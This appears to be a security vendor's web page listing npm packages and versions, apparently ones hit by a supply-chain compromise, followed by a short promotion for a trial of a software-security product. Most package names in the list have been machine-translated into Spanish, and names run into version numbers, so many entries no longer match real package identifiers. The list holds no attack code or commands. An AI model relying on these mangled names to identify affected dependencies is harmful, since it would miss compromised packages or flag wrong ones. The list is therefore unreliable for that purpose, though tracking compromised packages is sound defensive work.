evm-checkcode-cli1.0.15, 1.0.12, 1.0.13, 1.0.14
ticker exacto0.3.5
sesión de audio de la exposición0.2.1
expresos1.1.3
dedos gordos1.0.2, 1.0.1
cambio de características1.0.2, 1.0.1
motor de búsqueda de firestore1.2.3
fittxt1.0.3, 1.0.2
pilas de aletas1.0.2, 1.0.1
aplanar-desaplanar1.0.2, 1.0.1
foco de error de formik2.0.1
tienda formik1.0.1
buscador difuso1.0.5, 1.0.6
código de verificación de puerta-evm22.0.3, 2.0.4, 2.0.5, 2.0.6
prueba de herramientas gate-evm1.0.7, 1.0.8, 1.0.5, 1.0.6
complemento gatsby-cname1.0.2, 1.0.1
generador-de-meteoritos0.1.6
generador-ng-itobuz0.0.15
obtener-los-argumentos1.3.3
acción-de-github-para-generador2.1.28, 2.1.27
gitsafe1.0.5
plantilla de Go0.1.8, 0.1.9
entornos de inyección de gulp1.2.2, 1.2.1
cliente de API de Haufe-Axera0.0.1, 0.0.2
esperanza-mapboxdraw0.1.1
dibujo de esperanza1.0.3
prototipo de diseño flotante0.0.5
httpness1.0.3, 1.0.2
hiper-llenado1.0.3
hipertermo-hipster1.0.7
ids-css1.5.1
ids-enterprise-servidor mcp0.0.2
ids-enterprise-ng20.1.6
ids-enterprise-mecanografías20.1.6
imagen a uri1.0.2, 1.0.1
Plugin de insomnio de selección aleatoria1.0.4
invocar0.2.2
miniaplicación de escudo de hierro0.0.2
botón ito8.0.3
itobuz-angular0.0.1
itobuz-angular-auth8.0.11
botón angular de itobuz8.0.11
Jacob Zuma1.0.2, 1.0.1
prueba de jaetut-varit1.0.2
navegador jan0.13.1
enlaces de jquery1.1.3, 1.1.2
jsonsurge1.0.7
recién tostado1.7.1
puerto de eliminación2.0.3, 2.0.2
Utilidad geográfica JSON del área administrativa de Corea1.0.7
kwami1.5.9, 1.5.10
códigos de idioma1.0.2, 1.0.1
licencia-o-matic1.2.2, 1.2.1
imagen en escena de pelusa1.3.1, 1.3.2
servidor lite-serper-mcp0.2.2
luno-api1.2.3
API de miniaplicación del sistema de facturación manual1.3.1
Anuncio del complemento Medusa0.0.3
registros del complemento medusa0.0.17
complemento de medusa-momo0.0.68
reseñas de productos del complemento medusa kvy0.0.4
complemento medusa-zalopay0.0.40
mod10-dígito de control1.0.1
paquete mon-react-typescript1.0.1
mi-saeed-lib0.1.1
n8n-nodos-tmdb0.5.1
n8n-nodos-vercel-ai-sdk0.1.7
Aplicación viral de n8n-nodos0.2.5
nanoreinicio7.0.2, 7.0.1
siguiente dependencia circular1.0.3, 1.0.2
siguiente-simple-google-analytics1.1.1, 1.1.2
próximo estilo nprogress1.0.4, 1.0.5
ngx-útil-swiper-prosenjit9.0.2
ngx-wooapi12.0.1
tienda normal1.3.1, 1.3.4, 1.3.3, 1.3.2
obj a css1.0.3, 1.0.2
enrutador okta-react-65.0.1
abierto a internet0.1.1
iconos de caja de órbita2.1.3
herramientas de dibujo de órbita-nebulosa1.0.10
editor de órbita-nebulosa1.0.2
jabón orbital0.43.13
orquesta12.1.2
probador de paquetes1.0.1
complemento de paquetería para copiadora de activos1.1.3, 1.1.2
anotación en pdf0.0.2
piclita1.0.1
pico-fluido1.0.4, 1.0.3
paquete-readme1.1.1
SDK de reacción de poper0.1.2
Posthog-docusaurus2.0.6
posthog-js1.297.3
nodo posthog4.18.1, 5.13.3, 5.11.3
complemento posthog-hola-mundo1.0.1
posthog-react-nativo4.11.1, 4.12.5
repetición de sesión de posthog-react-native1.2.2
tabla principal uno0.0.19
prompt-eng1.0.50
requisito insignificante1.0.3
ra-auth-firebase1.0.3
ra-data-firebase1.0.8, 1.0.7
etiquetadores de componentes de reacción0.1.9
reaccionar-datos-a-exportar1.0.1
inspector de indicaciones de elementos de reacción0.1.18
React-favic1.0.2
Reacción-gancho-forma-persistencia3.0.2, 3.0.1
iconos de react-jam1.0.2, 1.0.1
contexto de capa de clave de reacción1.0.8, 1.0.9
configuración de la biblioteca de reacción0.0.6
cargador lineal de reacción1.0.2
react-micromodal.js1.0.2, 1.0.1
selector de fechas modal de react-native1.3.1, 1.3.2
correo electrónico nativo de reacción2.1.1, 2.1.2
React Native Fetch2.0.1, 2.0.2
React Native: obtener dimensiones de píxeles1.0.2, 1.0.1
direcciones de Google Maps de React Native2.1.2
iconos de jam de react-native1.0.2, 1.0.1
nivel de registro de react-native1.2.2, 1.2.1
casilla de verificación modesta de react-native3.3.1
almacenamiento modesto de react-native2.1.1
llamada telefónica de react-native1.2.2, 1.2.1
recuperación recuperable de react-native2.0.1, 2.0.2
React Native usa el modo1.0.3
Buscador de vistas de React Native1.2.2, 1.2.1
React Native WebSocket1.0.4, 1.0.3
Funciones de worklet de react-native3.3.3
imagen qr de reacción1.1.1
redimir1.0.5
Visor de rediff0.0.7
kit de enrutador redux1.2.2, 1.2.4, 1.2.3
complemento rollup-httpfile0.2.1
expresión regular del número de registro de la empresa sa1.0.2, 1.0.1
sa-id-gen1.0.4, 1.0.5
lo mismo1.0.3
suscripción al condensador scgs1.0.11
creador de scgsff1.0.5
conjunto-de-propiedades-anidadas2.0.1, 2.0.2
sesiones de jwt de estante0.1.2
shell-exec1.1.4, 1.1.3
Shinhan-Límite-Desecho1.0.3
uso de habilidades0.1.2, 0.1.1
historias de solomon-api1.0.2
historias de salomón v31.15.6
contenedor de interfaz de usuario de Solomon V31.6.1
ordenar por distancia2.0.1
información de identificación sudafricana1.0.2
funciones estadísticas1.0.1
piso2.3.2
super-commit1.0.1
selección automática de autocompletar esbelta1.1.1
esbelto y tostado1.1.3, 1.1.2
tabla tanstack-shadcn1.1.5
cucharadita2.0.2
prueba de extracción de tcsp1.0.5
prueba tcsp-vd2.4.4
biblioteca de plantillas1.1.4, 1.1.3
plantilla-micro-servicio1.0.3, 1.0.2
tenaz-buscador2.3.3, 2.3.2
aplicación de prueba de fundición1.0.4, 1.0.3, 1.0.2, 1.0.1
aplicación de prueba de casco1.0.4, 1.0.3, 1.0.2, 1.0.1
prueba23112222-api1.0.1
tiaan1.0.2
bifurcación de token.js0.7.32
aplicación trigo-react4.1.2
valla tipográfica1.2.2, 1.2.3
órbita tipográfica0.2.27
de tipo indefsafe1.0.4, 1.0.3
uplandui0.5.4
subir a Play Store1.0.2, 1.0.1
URL-codificar-decodificar1.0.2, 1.0.1
usar cambios no guardados1.0.9
identificación sudafricana válida1.0.3
plantilla vf-oss1.0.4, 1.0.3, 1.0.2, 1.0.1
complemento vite-httpfile0.2.1
vue-browseupdate-nuxt1.0.5
raspador web mcp1.1.4
tipos web-htmx0.1.1
tipos web-lit0.1.1
webpack-loader-archivo http0.2.1
Galería de expertos en bienestar5.1.1
wenk1.0.9, 1.0.10
almacenamiento asíncrono de zapier1.0.3, 1.0.2, 1.0.1
CLI de la plataforma Zapier18.0.4, 18.0.3, 18.0.2
núcleo de la plataforma zapier18.0.4, 18.0.3, 18.0.2
esquema de plataforma zapier18.0.4, 18.0.3, 18.0.2
scripts de zapier7.8.3, 7.8.4
zuper-cli1.0.1
zuper-sdk1.0.57
Zuper-stream2.0.9
sca-tools-software-herramientas-de-analisis-de-composicion
Priorice, solucione y proteja sus riesgos de software
Además, te ofrecemos una prueba gratuita de 7 días de nuestra Business Edition para que puedas explorar las funciones avanzadas de la plataforma SecurityScorecard.
No se requiere tarjeta de crédito

Asegure el desarrollo y entrega de software

con la suite de productos Xygeni